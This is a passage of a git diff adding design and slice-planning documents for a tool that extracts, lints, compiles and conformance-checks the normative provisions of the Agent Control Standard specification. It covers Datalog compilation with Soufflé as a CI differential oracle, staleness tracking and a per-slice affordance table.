%% marker + extraction + U1 --> N1 + N1 --> N2 + N1 --> N3 + N3 --> S6 + S1 -.-> N2 + S2 -.-> N1 + N1 --> S3 + U2 --> N4 + N4 --> N5 + N4 --> N6 + S3 -.-> N5 + N4 --> S4 + + %% census + U3 --> N10 + N10 --> N11 + N10 --> N12 + N12 --> N13 + N12 --> N14 + N12 --> N19 + S1 -.-> N13 + S1 -.-> N14 + S1 -.-> N19 + N19 -.-> U33 + N10 --> S11 + + %% catalog + staleness + S4 -.-> N15 + S5 -.-> N15 + N15 -.-> N16 + N16 --> N17 + N16 --> N18 + N18 -.-> U32 + N16 --> S12 + S12 -.-> U10 + + %% lint + U4 --> N20 + trig --> N61["N61: spec-lint job"] + N61 --> N20 + N61 --> N27 + N20 --> N21 + N20 --> N22 + N20 --> N23 + N20 --> N24 + N20 --> N25 + N20 --> N26 + N20 --> N16 + S6 -.-> N23 + S13 -.-> N26 + S14 -.-> N25 + N20 -.-> U9 + N20 --> N27 + N27 --> U22 + N27 --> U23 + N27 --> U24 + N27 --> U25 + + %% compile + U5 --> N31 + S7 -.-> N30 + N30 -.-> N31 + N15 -.-> N31 + N31 --> N32 + N31 --> N36 + N32 -.-> U9 + N36 -.-> U9 + N31 --> N34 + N31 --> N35 + N34 --> S8 + N35 --> S16 + N31 --> N33 + N33 --> S15 + + %% verify + U6 --> N40 + N40 --> N41 + N40 --> N42 + N40 --> N43 + N40 --> N44 + N41 --> S9 + N42 --> S10 + S16 -.-> N44 + S9 -.-> N44 + S10 -.-> N44 + S13 -.-> N43 + N43 -.-> N45 + N44 -.-> N45 + N45 --> N46 + N46 --> N47 + N47 -.-> U11 + N47 -.-> U15 + N47 -.-> U17 + + %% differential oracle (CI only) + trig2(["TRIGGER: CI differential"]) + trig2 --> N62["N62: apt install souffle"] + N62 --> N63 + S8 -.-> N63 + S16 -.-> N63 + S14 -.-> N63 + N63 -.-> U31 + + %% render + U7 --> N50 + U7 --> N51 + U7 --> N52 + N15 -.-> N50 + S14 -.-> N50 + N50 -.-> U12 + N50 -.-> U13 + N50 -.-> U14 + N51 -.-> U16 + N51 -.-> U18 + N51 -.-> U34 + S11 -.-> N52 + N52 -.-> U19 + N52 -.-> U20 + N52 -.-> U21 + N52 -.-> U32 + N52 -.-> U33 + U13 --> U26 + + %% governance + U8 --> N60 + S2 -.-> N60 + N60 --> U28 + U28 --> U29 + U29 --> U30 + U30 --> P6 + + classDef ui fill:#ffb6c1,stroke:#d87093,color:#000 + classDef nonui fill:#d3d3d3,stroke:#808080,color:#000 + classDef store fill:#e6e6fa,stroke:#9370db,color:#000 + classDef trigger fill:#98fb98,stroke:#228b22,color:#000 + class U1,U2,U3,U4,U5,U6,U7,U8,U9,U10,U11,U12,U13,U14,U15,U16,U17,U18,U19,U20,U21,U22,U23,U24,U25,U26,U27,U28,U29,U30,U31,U32,U33,U34 ui + class N1,N2,N3,N4,N5,N6,N10,N11,N12,N13,N14,N15,N16,N17,N18,N19,N20,N21,N22,N23,N24,N25,N26,N27,N30,N31,N32,N33,N34,N35,N36,N40,N41,N42,N43,N44,N45,N46,N47,N50,N51,N52,N60,N61,N62,N63 nonui + class S1,S2,S3,S4,S5,S6,S7,S8,S9,S10,S11,S12,S13,S14,S15,S16 store + class trig,trig2 trigger +``` + +### What the breadboard proves + +**The generated/authored seam is a single join.** S4 is written only by N4 and never by a human; S5 is written only by a human and never by a tool. N15 is the one place they meet, joining on ID. That is what makes R2.5 and R7.1 hold simultaneously — the tooling owns the mechanical half, the editor owns the semantic half, and neither can corrupt the other's file. + +**Staleness has exactly one computation and three inputs.** N16 reads `reviewed_against` from S5 and `text_hash` from S4, then reverse-walks `depends_on` (N17) and `restates` (N18). R2.4, R2.6, and R2.9 are all the same mechanism with different edges, which is why they cost one affordance rather than three. + +**The four-layer split from the source is visible as distinct wires into N45.** N43 carries JSON Schema, N44 carries Datalog semantics, N42 carries ordinary-code facts, and profile/modality scoping (N45, N46) is the layer the source's table did not name but ACS's tiered conformance requires. The `optionally Rego` cell is absent by design — R4.7 and the source's own argument against coupling conformance to the reference policy engine. + +🟡 **One authority, two targets, one asserted equivalence.** After [X4](./spike-engine-dependency.md), `N31` fans out to `N34` (published Soufflé `.dl`) and `N35` (in-process rule set) from the same typed rule IR, and `N63` asserts in CI that both derive identical violations. The `.dl` is in `ir/dist/`, not `ir/.build/` — it is a deliverable an external auditor runs without our TypeScript, which is the one thing Soufflé uniquely gives a standards project. `N36` is what makes R3.4 hold without an engine provenance facility: a `Violation` rule that binds no subject or witness fails to compile. + +**Two stores are read-only and pinned.** S1 and S13 come from the submodule. Nothing in `ir/` writes to `spec/acs`, and nothing in `ir/` reads `packages/guardian`, `hosts/`, or `mapping.yaml` — R8.2 verifiable by inspection of the store table alone. + +**The overlay is a load-bearing temporary.** S2 feeds both N1 (staging: materialize a marked corpus locally) and N60 (governance: emit the patch that makes itself redundant). E3.3's retirement is not aspirational — it is the same file consumed by the two paths, so the day U30 merges, S2 is deleted and S3 becomes S1. + +**The non-testable roster is a rendered artifact, not an omission.** U18 exists because R4.4 makes `non-testable` a value rather than a dropped row. §11, §12.2, §7.2, and §1.2 appear in the conformance report as provisions the verifier explicitly cannot falsify. + +**One gap the breadboard exposes.** N31 and N44 both depend on S7, and S7 has no producer affordance — the fact vocabulary is authored by hand with no tool validating it against the provision families it is meant to cover. X1 is what produces S7's first version; whether it needs a `vocabulary lint` (relations declared but never used, provisions citing undeclared relations) is a question for X1 rather than an omission here. + +--- + +## Spikes + +X1 and X2 are executed **as the deep vertical slice**, not before it: the source's central argument is that a compiler discovers vocabulary and predicate inadequacy where inspection does not. So the spike deliverable is the working compiler plus ~20 entries, and the spike questions are what that build must answer. X3 is cheap, mechanical, and blocks the census, so it runs first and alone. + +| # | Spike | Resolves | Blocks | +|---|-------|----------|--------| +| ~~**X3**~~ | ✅ **Closed — [`spike-marker-span.md`](./spike-marker-span.md).** Span is anchor → mandatory `` terminator; no implicit boundary, no sentence segmentation. All four block types verified, table cells included. attr_list disqualified (leaks visible braces in 3 of 4 forms, and is block-granular). Surfaced three things the shaping did not have: the `restatement_of` census exclusion, `concepts/`'s existing normative-callout convention, and cross-document restatement (R2.9) | E2.2, E2.3 | — | +| **X1** | **Fact vocabulary sufficiency.** Derive the relation set from the 13 provision families, then test it against the hardest member of each: §8.2 chain hashing, §6.3 modify disjointness including ancestor/descendant paths, §7.1 trust monotonicity over `derived_from`, §6 bounded cascading deferral, §9.2 approver-incapable substitution, §8.5 permission-with-conditional-obligation | E6 | R3.2, R3.6, R0 | +| **X2** | 🟡 **Predicate language and the external-fact boundary — narrowed to one candidate by [X4](./spike-engine-dependency.md).** Candidate (c), Soufflé as the authoring surface, is dead: it would make the laptop path depend on parsing Soufflé and would put authority in the `.dl` rather than the IR, against R3.3. Candidate (a), hand-written Soufflé per provision, cannot also produce the in-process rules without a translator — which is (b) with extra steps. **Remaining: (b) a typed DSL with multiple compile targets.** What X2 must now answer is its concrete syntax and type system, how the external-fact boundary is declared per provision, and how `requireEvidenceColumns()` is expressed as a compiler check rather than a convention | E7, E7.1–E7.5 | R3.1, R3.3, R3.5, R3.8, R6.1 | + +**Specimen selection for X1/X2 — semantic diversity, not document order.** The source's kinds, mapped onto concrete ACS provisions: + +| Kind | Candidate provision | +|---|---| +| structural | `response-envelope.json` discriminated union on non-decision methods | +| prohibition | array-shaped input to a non-batching Guardian → `-32600` (§3) | +| local predicate | per-disposition required fields (§6) | +| enum / value | the four permitted `DEFER` reasons (§6) | +| temporal | handshake before any hook traffic (§4) | +| ordering | deterministic layer before agent layer (§2) | +| cardinality | cascading deferrals bounded per session (§6) | +| graph | `derived_from` lineage over in-session `provenance_id`s (§7) | +| recursive | `agent_generated` trust = min over transitive `derived_from` (§7.1) | +| stateful | `Intent.parsed` fixed at establishment, growing only via `intent_extension` (§8.4, §9.1) | +| integrity | `entry_hash` chain computation (§8.2) | +| uniqueness | `provenance_id` unique within session (§7) | +| negotiation | no common `acs_version` → `UNSUPPORTED_VERSION` (§4) | +| cross-message | published `chain_hash` covered by the response signature (§8.6) | +| externally computed | JCS-canonical signed input with `signature` removed (§10) | +| environmental | provenance populated outside the LLM's output path (§7.2) — `non-testable` | +| SHOULD | mismatched `chain_hash` SHOULD trigger an audit event (§8.5) | +| MAY / permission | Guardians MAY archive above a byte threshold (§8.5) — no obligation from non-occurrence | +| conditional-on-exercise | *if* archival occurs it MUST preserve `chain_hash`, `provenance_summary`, `intent` (§8.5) | +| definition-dependent | a Requirement whose force comes from `concepts/provenance.md`, exercising R2.6 | + +Twenty kinds, and §8.5 alone covers three of them — useful, because it means one prose paragraph exercises the permission/obligation distinction end to end. + +--- + +## Open decisions + +| # | Decision | Blocks | +|---|----------|--------| +| ~~**D-f**~~ | ✅ **Closed — attribution on upstream ACS contributions.** Ariel's `afogel` identity may carry on the E11 Discussion and PRs to `Agent-Control-Standard/ACS`. No Claude session attribution anywhere — no `Co-Authored-By`, no tool signature, no generated-with footer, on commits or in Discussion/PR text | — | +| ~~**D-g**~~ | ✅ **Closed — [`spike-provision-taxonomy.md`](./spike-provision-taxonomy.md).** All eight concept pages are in the corpus. `concepts/README.md:31` settles the internal split: callouts are Invariants (or Requirements — editorial per E1.4), **non-callout body prose is the canonical Definition and is normative**, and the `Referenced by` footer is dependency data rather than a provision. `capability.md` and `skill.md` are in despite having no callouts — they carry definitions and footers. `README.md` itself is the taxonomy's source, not a provision source | — | +| ~~**D-h**~~ | ✅ **Closed — extract Invariants in the first pass.** They have at least six identifiable members, ACS's own editorial policy defines the category and its altitude (`concepts/README.md:11,14,31`), and eight `Referenced by` footers already encode the `depends_on` edges that deferring would force us to re-author. Also produced a fifth node type, `Exclusion`, and R4.8 / R6.6 | — | +| ~~**D-i**~~ | ✅ **Closed — [`spike-engine-dependency.md`](./spike-engine-dependency.md).** Soufflé is a CI-only differential oracle and a published `.dl` artifact, never a local runtime dependency; local evaluation is in-process TypeScript. Measured: Soufflé ships **no macOS and no arm64 binary**, and Homebrew has a single `arm64_tahoe` bottle, so five of six of this repo's platform configurations would need a `bison`+`cmake` source build. The workload is ~10³ facts against a tool built for 10⁹. Soufflé's provenance facility — the source's stated reason for choosing it — is replaceable by evidence-projecting rules, which the compiler can *enforce*. Produced R3.8, R3.9, E7.2–E7.5, and narrowed X2 to one candidate | — | diff --git a/docs/shaping/normative-ir-slices.md b/docs/shaping/normative-ir-slices.md new file mode 100644 index 00000000..7ce77f93 --- /dev/null +++ b/docs/shaping/normative-ir-slices.md @@ -0,0 +1,581 @@ +--- +shaping: true +--- + +# ACS Normative IR — Slices + +Implementation plan for **Shape E**. Ground truth for slice definitions and per-slice affordances; [`normative-ir-shaping.md`](./normative-ir-shaping.md) remains ground truth for R, shapes, parts, and the fit check. Every affordance ID here refers to **Detail E** in that document. + +Sibling to [`acs-reference-impl-slices.md`](./acs-reference-impl-slices.md) — different work stream, same repo, no shared code (R8.2). + +## Sequencing rationale + +The source's instruction was **wide mechanical census immediately, deep compiled vertical slice before the 203-item editorial conversion**: + +> If you go wide first and discover at requirement 150 that your model of `subject`, `condition`, `modality`, `predicate` cannot express one of ACS's stateful semantics, you may have to reinterpret 149 entries. + +So V1 is the wide census (Phase 0), V2–V6 are the deep vertical on ~20 semantically diverse specimens (Phase 1), and V7 is the wide conversion once the mechanism is proven. V8 is the upstream governance path. + +**Three hard constraints carried from the spikes:** + +| From | Constraint | Effect on slicing | +|---|---|---| +| [X4](./spike-engine-dependency.md) | The differential oracle must land in the **same slice that first emits a rule** | V5 ships Soufflé-in-CI. A slice that shipped an unverified hand-rolled fixpoint evaluator would ship a conformance verdict nobody has checked | +| [X3](./spike-marker-span.md) | Anchor **and** terminator are both mandatory; unpaired markers must be lintable | V2 cannot ship without `lintMarkerPairing()`, so N22 is pulled forward out of V4 | +| Source | X1 and X2 execute *as* the vertical slice, not before it | V5 is where the fact vocabulary and predicate DSL get designed — by a compiler, not by inspection | + +## Slice Summary + +| # | Slice | Mechanism | Demo | +|---|-------|-----------|------| +| **V1** | The corpus, inventoried | E8, E1.3 | 203 occurrences across four block types, eight normative sources with their `Referenced by` edges — and every occurrence still unbound, listed | +| **V2** | Twenty provisions, marked and indexed | E1, E2, E3, E4, E5.1, E10 | Twenty provisions spanning all five node types, each a citable anchor with verbatim text; the unbound count drops by twenty | +| **V3** | Staleness propagates | E5.2 | Change one word in a concept page. The tool names the invariant, the §8.4 Requirement that depends on it, and that Requirement's tests | +| **V4** | The spec PR polices itself | E9 | A PR that adds an unmarked `MUST` and deletes a marked provision fails, and the comment names both, with line numbers | +| **V5** | Predicates compile, and both engines agree | E6, E7 | Twenty predicates compiled to two targets; the TypeScript evaluator and Soufflé derive identical violation sets over the same fixtures | +| **V6** | The conformance report | E7.1, E12, E10 | `acs-ir verify ` → per-provision verdicts with witnessing facts, scoped to negotiated profiles, with exclusions and non-testables listed rather than hidden | +| **V7** | All 203 | E8 as the gate | Zero unbound occurrences | +| **V8** | Upstream | E11 | `#acs-req-0037` is a live deep link on the published spec, and the sentence reads unchanged | + +--- + +## V1: The corpus, inventoried + +**Demo:** `acs-ir census` prints two reports. The source census names all eight concept pages and every pillar document with its normative status and what makes it normative. The provision census reports 203 keyword occurrences by block type, the ten `(normative)` callouts, the eight `Referenced by` footers as candidate dependency edges — and **203 unbound**, because nothing has captured them yet. + +**Why this is the demo, not a weakness.** The honest first artifact is the complete inventory of what must be captured. It bounds the problem, it is reviewable by a spec editor who has never seen the IR (R1.9), and its unbound count is the burn-down every later slice reduces. + +| # | Place | Component | Affordance | Control | Wires Out | Returns To | +|---|-------|-----------|------------|---------|-----------|------------| +| U3 | P1 | `ir/census` | `acs-ir census` | invoke | → N10 | — | +| U19 | P4 | `ir/render` | source census — document, normative status, `referenced_by` | render | — | — | +| U20 | P4 | `ir/render` | provision census — per source, counts by node type | render | — | — | +| U21 | P4 | `ir/render` | unbound-occurrence table — every keyword not bound, with its reason | render | — | — | +| U33 | P4 | `ir/render` | dependency-edge audit — footers with no provision depending back | render | — | — | +| N10 | P1 | `ir/census` | `runCensus()` | call | → N11, → N12, → S11 | — | +| N11 | P1 | `ir/census` | `sourceCensus()` | call | — | → N10 | +| N12 | P1 | `ir/census` | `provisionCensus()` | call | → N13, → N14, → N19 | → N10 | +| N13 | P1 | `ir/census` | `keywordScan()` — block-type aware | call | — | → N12 | +| N14 | P1 | `ir/census` | `calloutScan()` — candidates only, type is editorial (E1.4) | call | — | → N12 | +| N19 | P1 | `ir/census` | `seedDependsOn()` — parse the eight `Referenced by` footers | call | — | → N12, → U33 | +| N52 | P1 | `ir/render` | `renderCensus()` | call | → U19, → U20, → U21, → U33 | — | +| S1 | P1 | store | `spec/acs/docs/**.md` — read-only, pinned | — | — | → N13, N14, N19 | +| S11 | P1 | store | `ir/census/{sources,provisions}.yaml` | — | — | → N52 | + +**Reference numbers to reproduce** (measured in X3, at `c259f57`): paragraph 145, list item 33, table cell 17, blockquote 8, total 203; zero in headings, code fences, or inline code spans. If V1's scan disagrees with those, V1's scan is wrong. + +**Wires to future slices:** `N52` also feeds `U32` (V3) and `U34` (V6); those columns render empty until then. + +--- + +## V2: Twenty provisions, marked and indexed + +**Demo:** `acs-ir markers apply && acs-ir extract && acs-ir render` produces a provision index of twenty provisions. Each carries its opaque ID, node type, level, bound actor, activating profile, evidence class, and verbatim text. Re-running `acs-ir census` shows the unbound count fall from 203 to 183. + +**Specimen selection is the substance of this slice.** Twenty provisions chosen for **semantic diversity, not document order**, per the source's insistence. The kinds, mapped to concrete provisions (from the shaping doc's specimen table): + +| Kind | Provision | Node type | +|---|---|---| +| structural | `response-envelope.json` discriminated union on non-decision methods | Requirement | +| prohibition | array input to a non-batching Guardian → `-32600` (§3) | Requirement | +| local predicate | per-disposition required fields (§6) | Requirement | +| enum / value | the four permitted `DEFER` reasons (§6) | Requirement | +| temporal | handshake before any hook traffic (§4) | Requirement | +| ordering | deterministic layer before agent layer (§2) | Requirement | +| cardinality | cascading deferrals bounded per session (§6) | Requirement | +| graph | `derived_from` lineage over in-session `provenance_id`s (§7) | Requirement | +| recursive | `agent_generated` trust = min over transitive `derived_from` (§7.1) | Requirement | +| stateful | `Intent.parsed` fixed at establishment (§8.4 + `intent.md:13`) | Requirement + **Invariant** | +| integrity | `entry_hash` chain computation (§8.2) | Requirement | +| uniqueness | `provenance_id` unique within session (§7) | Requirement | +| negotiation | no common `acs_version` → `UNSUPPORTED_VERSION` (§4) | Requirement | +| cross-message | published `chain_hash` covered by the response signature (§8.6) | Requirement | +| externally computed | JCS-canonical signed input, `signature` removed (§10) | Requirement | +| environmental | provenance populated outside the LLM's output path (§7.2) | Requirement, `non-testable` | +| SHOULD | mismatched `chain_hash` SHOULD trigger an audit event (§8.5) | Requirement | +| MAY / permission | Guardians MAY archive above a byte threshold (§8.5) | Requirement, permission | +| conditional-on-exercise | *if* archival occurs it MUST preserve `chain_hash`, `provenance_summary`, `intent` (§8.5) | Requirement | +| definition-dependent | lineage is the union of its inputs' lineage (`provenance.md:19`) | **Definition** | +| exclusion | `tenant_id` reserved, no isolation rules in v0.1 (§14) | **Exclusion** | +| cross-document restatement | approver authentication (`agents.md:21` ↔ `specification.md:257`) | Requirement + `restates` | + +That is 22 rows covering 20-odd provisions — §8.5 alone supplies three kinds, and the Intent and approver rows each supply two provisions, which is deliberate: one prose paragraph exercising the permission/obligation distinction end to end, and one obligation exercising R2.9. + +| # | Place | Component | Affordance | Control | Wires Out | Returns To | +|---|-------|-----------|------------|---------|-----------|------------| +| U1 | P1 | `ir/markers` | `acs-ir markers apply` | invoke | → N1 | — | +| U2 | P1 | `ir/extract` | `acs-ir extract` | invoke | → N4 | — | +| U7 | P1 | `ir/render` | `acs-ir render` | invoke | → N50 | — | +| U12 | P2 | `ir/render` | provision index — ID, type, level, actor, profile, evidence class, status | render | — | — | +| U13 | P2 | `ir/render` | per-provision detail — verbatim text, `depends_on`, `restates`, citing tests | render | → U26 | — | +| U14 | P2 | `ir/render` | test-coverage table — provisions with tests, provisions without | render | — | — | +| N1 | P1 | `ir/markers` | `applyOverlay()` | call | → N2, → N3, → S3 | — | +| N2 | P1 | `ir/markers` | `resolveQuote()` — verbatim match against the pinned corpus | call | — | → N1 | +| N3 | P1 | `ir/ids` | `allocateId()` — monotonic per type, tombstone-aware | call | → S6 | → N1 | +| N4 | P1 | `ir/extract` | `extractProvisions()` | call | → N5, → N6, → S4 | — | +| N5 | P1 | `ir/extract` | `readSpan()` — anchor → ``, four block types | call | — | → N4 | +| N6 | P1 | `ir/extract` | `hashText()` — normalize whitespace, SHA-256 | call | — | → N4 | +| N15 | P1 | `ir/catalog` | `loadCatalog()` — join S4 ⋈ S5 on ID | call | — | → N50 | +| N22 | P1 | `ir/lint` | `lintMarkerPairing()` — **pulled forward from V4** (X3 constraint) | call | — | → U9 | +| N50 | P1 | `ir/render` | `renderProvisionIndex()` | call | → U12, → U13, → U14 | — | +| S2 | P1 | store | `ir/markers/overlay.yaml` — `{provision_id, source_file, quote}` | — | — | → N1 | +| S3 | P1 | store | `ir/.build/marked/` — materialized marked corpus | — | — | → N5 | +| S4 | P1 | store | `ir/manifest/provisions.json` — **generated, never hand-edited** | — | — | → N15 | +| S5 | P1 | store | `ir/provisions/*.yaml` — **authored**, joined to S4 by ID | — | — | → N15 | +| S6 | P1 | store | `ir/ids/{counter,tombstones}.yaml` | — | — | → N3 | + +**N22 is pulled forward out of V4 deliberately.** X3 made the terminator mandatory. A slice that inserts markers without a pairing lint can silently ship an anchor whose span runs to the end of a block — the exact over-capture X3 measured at 35%. The lint is what makes the mandatory rule real, so it ships with the markers, not two slices later. + +**The generated/authored seam is established here and never crossed again.** S4 is written only by N4. S5 is written only by a human. N15 is the sole join. R2.5 and R7.1 both depend on that holding from V2 onward. + +--- + +## V3: Staleness propagates + +**Demo:** Edit one word inside the `> **Intent immutability (normative).**` callout in `concepts/intent.md`. Run `acs-ir lint`. It reports the Invariant as `needs-review`, **and** the §8.4 Requirement that `depends_on` it, **and** that Requirement's conformance tests — none of which contain the edited word. + +That is R2.6 demonstrated in one command: **a definition or invariant change invalidating an unchanged `MUST`.** No keyword count moved, no pillar sentence changed, and the tool still named exactly what is now unreviewed. + +| # | Place | Component | Affordance | Control | Wires Out | Returns To | +|---|-------|-----------|------------|---------|-----------|------------| +| U10 | P1 | `ir/catalog` | stale-provision list — ID, why, what it invalidated | render | — | — | +| U32 | P4 | `ir/render` | migration worklist — inline pillar copies awaiting replacement by a reference (R6.6) | render | — | — | +| N16 | P1 | `ir/catalog` | `checkStaleness()` — `reviewed_against` vs `text_hash` | call | → N17, → N18, → S12 | — | +| N17 | P1 | `ir/catalog` | `walkDependsOn()` — reverse-walk Requirement ← Definition/Invariant | call | — | → N16 | +| N18 | P1 | `ir/catalog` | `checkRestatement()` — concept page canonical (R2.9); emits the worklist | call | → U32 | → N16 | +| S12 | P1 | store | `ir/.build/stale.json` | — | — | → U10 | + +**One computation, three edge types.** R2.4 (own text changed), R2.6 (a dependency changed), and R2.9 (a restatement diverged) are the same mechanism over different edges — which is why they cost one affordance rather than three. Nothing is ever marked *invalid*; the reviewer classifies the change as editorial, semantic, or split. + +**The migration worklist is a free deliverable.** `concepts/README.md:33` promises a migration away from inline pillar restatement. N18 already has to compare restated pairs, so enumerating the ones still awaiting replacement costs nothing extra and hands spec editors a to-do list they currently assemble by hand. + +--- + +## V4: The spec PR polices itself + +**Demo:** Open a PR against the spec submodule that (a) adds a sentence containing `MUST` with no marker and (b) deletes a marked provision without tombstoning its ID. CI fails, and the PR comment names both — the unmarked statement with `file:line`, and the ID that needs a tombstone. + +| # | Place | Component | Affordance | Control | Wires Out | Returns To | +|---|-------|-----------|------------|---------|-----------|------------| +| U4 | P1 | `ir/lint` | `acs-ir lint` | invoke | → N20 | — | +| U9 | P1 | `ir/lint` | lint failures, by rule, with `file:line` | render | — | — | +| U22 | P5 | `ir/lint` | changed provisions and the tests now `needs-review` | render | — | — | +| U23 | P5 | `ir/lint` | added provisions with no conformance test | render | — | — | +| U24 | P5 | `ir/lint` | removed provisions missing a tombstone | render | — | — | +| U25 | P5 | `ir/lint` | unmarked normative statements, `file:line` | render | — | — | +| N20 | P1 | `ir/lint` | `specLint()` | call | → N21, → N23, → N24, → N25, → N26, → N16, → N27 | — | +| N21 | P1 | `ir/lint` | `lintUnmarkedKeyword()` — no marker and no census exclusion | call | — | → N20 | +| N23 | P1 | `ir/lint` | `lintTombstone()` | call | — | → N20 | +| N24 | P1 | `ir/lint` | `lintDuplicateId()` | call | — | → N20 | +| N25 | P1 | `ir/lint` | `lintUnknownCitation()` — a rule or test citing an unknown ID | call | — | → N20 | +| N26 | P1 | `ir/lint` | `lintSchemaRefs()` — pinned subschema hash vs actual (R2.8) | call | — | → N20 | +| N27 | P1 | `ir/lint` | `renderImpactComment()` | call | → U22, → U23, → U24, → U25 | — | +| N61 | TRIGGER: CI | `.github/workflows` | `spec-lint` job, per-PR and scheduled | invoke | → N20, → N27 | — | + +**N22 already shipped in V2.** V4 completes the rule set around it. + +**N25 lints an empty registry until V5.** Conformance tests and their provision citations (S14) arrive with the fixtures in V5, so this rule passes trivially at V4. That is a genuine wire-to-a-future-slice, called out rather than hidden. + +**This slice is where the IR starts paying for itself before any predicate exists.** V1–V4 deliver a working traceability and drift system with zero Datalog. If V5 and V6 slipped, V1–V4 would still be worth shipping — which is a useful property for the first four slices of an eight-slice plan to have. + +--- + +## V5: Predicates compile, and both engines agree + +**Demo:** `acs-ir compile` turns twenty IR predicates into two artifacts — `ir/dist/rules.dl` and `ir/.build/rules.json`. CI installs Soufflé 2.5 from the official `ubuntu-24.04` `.deb` and runs both engines over the same positive and negative fixtures. **Identical violation sets.** A deliberately divergent rule turns the check red and prints the tuples only one engine derived. + +**X1 and X2 are executed here, not before.** The fact vocabulary and the predicate DSL are designed *by writing the compiler and putting twenty semantically diverse provisions through it* — the source's central argument being that a compiler asks questions inspection does not. The twenty specimens from V2 are the test: chain hashing forces the external-fact boundary, transitive `derived_from` forces recursion with path carrying, bounded cascading deferral forces counting aggregation, §8.5 forces permission-versus-obligation, and §14 forces Exclusion suppression. + +| # | Place | Component | Affordance | Control | Wires Out | Returns To | +|---|-------|-----------|------------|---------|-----------|------------| +| U5 | P1 | `ir/compile` | `acs-ir compile` | invoke | → N31 | — | +| U31 | P1 | `ir/verify` | differential divergence report — provision, fixture, tuples only one engine derived | render | — | — | +| N30 | P1 | `ir/vocabulary` | `loadVocabulary()` — relations, arity, types | call | — | → N31 | +| N31 | P1 | `ir/compile` | `compilePredicate()` — IR predicate → typed rule IR | call | → N32, → N33, → N34, → N35, → N36 | — | +| N32 | P1 | `ir/compile` | `flagInexpressible()` — predicate the vocabulary cannot type (R3.6) | call | — | → N31, → U9 | +| N33 | P1 | `ir/compile` | `emitTlaInvariants()` — the declared invariant list (R6.2) | call | → S15 | — | +| N34 | P1 | `ir/compile` | `emitSouffleProgram()` — the published `.dl` (E7.3) | call | → S8 | — | +| N35 | P1 | `ir/compile` | `emitEvaluatorRules()` — the in-process rule set (E7.2) | call | → S16 | — | +| N36 | P1 | `ir/compile` | `requireEvidenceColumns()` — a `Violation` binding no subject or witness fails to compile (E7.5) | call | — | → N31, → U9 | +| N40 | P1 | `ir/verify` | `verify()` | call | → N41, → N44 | — | +| N41 | P1 | `ir/verify` | `normalizeTrace()` — envelope log → relation facts | call | → S9 | — | +| N44 | P1 | `ir/verify` | `evaluate()` — in-process semi-naive fixpoint over S16 ⊕ S9 | call | — | → U31 | +| N62 | TRIGGER: CI | `.github/workflows` | `differential` job — `apt install souffle`, then N63 | invoke | → N63 | — | +| N63 | P1 | `ir/verify` | `differentialCheck()` — assert identical violation sets (R3.8) | call | → U31 | — | +| S7 | P1 | store | `ir/vocabulary/relations.yaml` — the fact vocabulary | — | — | → N30 | +| S8 | P1 | store | `ir/dist/rules.dl` — **published**, runnable without our TypeScript | — | — | → N63 | +| S9 | P1 | store | `ir/.build/facts/` — normalized trace facts | — | — | → N44 | +| S14 | P1 | store | `ir/test/conformance/**` — fixtures and tests, citing provision IDs only | — | — | → N63, N25 | +| S15 | P1 | store | `ir/.build/invariants.tla` — declared protocol invariants | — | — | (V-future TLA+) | +| S16 | P1 | store | `ir/.build/rules.json` — in-process rule set | — | — | → N44 | + +**The differential oracle is not optional scope in this slice.** X4's resolution is explicit: a slice shipping an unverified hand-rolled fixpoint evaluator ships a conformance verdict nobody has checked, and a wrong conformance verdict is worse than none. `N62`/`N63` are what bound the risk of writing our own evaluator, and they ship with the first emitted rule. + +**`S7` still has no producer affordance** — the gap the breadboard exposed. This slice authors the vocabulary by hand and lets the compiler's type checker (`N30` → `N31`) be the validator. Whether a separate `vocabulary lint` is warranted (relations declared but never used; provisions citing undeclared relations) is a question this slice answers by finding out. + +**`S15` has no consumer yet.** The TLA+ model is out of scope for the IR (a later work stream, per the shaping doc's non-goals). `N33` emits the declared list so R6.2 holds; nothing reads it in V1–V8. Recorded rather than pretended otherwise. + +--- + +## V6: The conformance report + +**Demo:** `acs-ir verify .acs/envelopes.jsonl` emits a W3C-style conformance report. Per-provision verdicts with the facts that witness each violation. Scoped to the profiles the session actually negotiated, so a `["acs-core"]` session is never judged against ACS-Provenance obligations. An unexercised `MAY` produces no verdict. The non-testable roster and the exclusion roster are printed, not omitted. + +| # | Place | Component | Affordance | Control | Wires Out | Returns To | +|---|-------|-----------|------------|---------|-----------|------------| +| U6 | P1 | `ir/verify` | `acs-ir verify ` | invoke | → N40 | — | +| U11 | P1 | `ir/verify` | verdict summary — pass / fail / needs-review counts by profile | render | — | — | +| U15 | P3 | `ir/render` | per-provision verdict row | render | — | — | +| U16 | P3 | `ir/render` | profile-scoped summary — obligations active per claimed profile, met and unmet | render | — | — | +| U17 | P3 | `ir/render` | evidence detail — subject and witnessing facts (R3.4) | render | — | — | +| U18 | P3 | `ir/render` | non-testable roster — provisions no trace can falsify (R4.4) | render | — | — | +| U34 | P3 | `ir/render` | exclusion roster — areas ACS deliberately leaves open (R4.8) | render | — | — | +| N42 | P1 | `ir/verify` | `computeExternalFacts()` — SHA-256, JCS, signature verification, URI parse, timestamp window (E7.1) | call | → S10 | — | +| N43 | P1 | `ir/verify` | `validateSchemas()` — Ajv against the 48 pinned schemas, per `schema_refs` | call | — | → N45 | +| N45 | P1 | `ir/verify` | `scopeByProfile()` — drop provisions the negotiated profiles never activated (E12.1) | call | → N46 | — | +| N46 | P1 | `ir/verify` | `applyModality()` — obligation vs permission vs conditional-on-exercise (E12.2) | call | → N47 | — | +| N47 | P1 | `ir/verify` | `attachEvidence()` — subject plus witnessing facts | call | → U11, → U15, → U17 | — | +| N51 | P1 | `ir/render` | `renderConformanceReport()` | call | → U15, → U16, → U17, → U18, → U34 | — | +| S10 | P1 | store | `ir/.build/external-facts/` — pre-computed crypto, hash, URI, timestamp facts | — | — | → N44 | +| S13 | P1 | store | `spec/acs/specification/v0.1.0/**.json` — read-only, the 48 schemas cited not restated | — | — | → N43, N26 | + +**The rosters are the point, not padding.** A conformance report that silently omits what it cannot check is a report that overstates its own coverage. U18 and U34 make the two kinds of silence distinguishable: *"required, but no trace can falsify it"* (§12.2's prompt rules) versus *"ACS deliberately requires nothing here"* (§14's multi-tenant isolation). R4.4 and R4.8 exist so neither becomes a dropped row. + +**The four-layer split is complete at this slice.** N43 carries JSON Schema, N44 (V5) carries Datalog, N42 carries ordinary code, N45/N46 carry the scoping layer the source's table did not name. + +--- + +## V7: All 203 + +**Demo:** `acs-ir census` reports **zero unbound occurrences.** The provision index shows the full catalog across all five node types. The conformance report covers every profile. + +No new affordances. This is the editorial conversion the source described as *"data-entry/editorial 